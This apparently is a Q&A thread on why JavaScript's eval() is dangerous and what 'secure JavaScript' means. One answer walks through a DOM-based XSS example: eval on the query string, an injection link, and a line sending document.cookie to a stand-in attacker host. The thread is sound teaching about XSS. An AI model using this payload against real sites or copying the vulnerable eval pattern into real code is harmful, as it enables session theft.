developer.mozilla.org says:
Don\'t use eval needlessly! eval() is a dangerous function, which executes the code it\'s passed with the privileges of
Any malicious user can turn on chrome debugger for example, and modify javascript code that is being executed. So he can put his own functions to be executed etc.
Yes, a user can "attack" their own client-side session using JavaScript by using developer tools.
However, the difference between eval and developer tools is that eval may execute things in shareable links. The attacker could send their victim a link, which exploits the code evaluation function.
Take this code:
<script>
eval('alert("Your query string was ' + unescape(document.location.search) + '");');
</script>
Now if the query string is ?foo
you simply get an alert dialog stating the following: Your query string was ?foo
Now say Chuck sends Bob an email with the subject "Look at this great link!".
The link is constructed as follows:
http://www.example.com/page.htm?hello%22);alert(document.cookie+%22
, where www.example.com is your website.
This modifies the code that is executed by eval()
to
alert("Your query string was hello");
alert(document.cookie+"");
(New lines added by me for clarity). This will show an alert box displaying all the non httpOnly cookies.
Take this to the next stage and the attacker could construct an image link to send the session cookie to themselves
new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)
This is known as a Cross-Site Scripting (XSS) attack. In fact, the type is a DOM based XSS, to be specific.
Is there such thing as "secure javascript code" in general?
Yes, code that's secure against XSS could be considered "secure JavaScript code" - it protects the current user from cross-domain attacks. However, server-side code that "trusts" that the current end-user won't modify JavaScript code or variables to their own advantage using developer tools though isn't secure.
Therefore secure JavaScript code is such code that will protect the current user only.
Yes, of course there is secure JavaScript. You can always modify the JavaScript in your browser, same way you can modify e.g. python programs running on your machine.
Being able to alter the way code on your own machine works is trivial and is not immediately a security issue.
Eval() is often seen problematic, as it tends to be executed with user-generated input (I would argue that the genuine use cases where this is not true are quite few). Why this might be an issue is explained by @SilverlightFox in his excellent answer. It all boils down to the fact that eval() might be exploited to run YOUR code on somebody else's machine, and THAT is a security issue.
Note that this is not specific to JavaScript alone, most languages have similarly named functions that do the same. These functions come with similar warnings.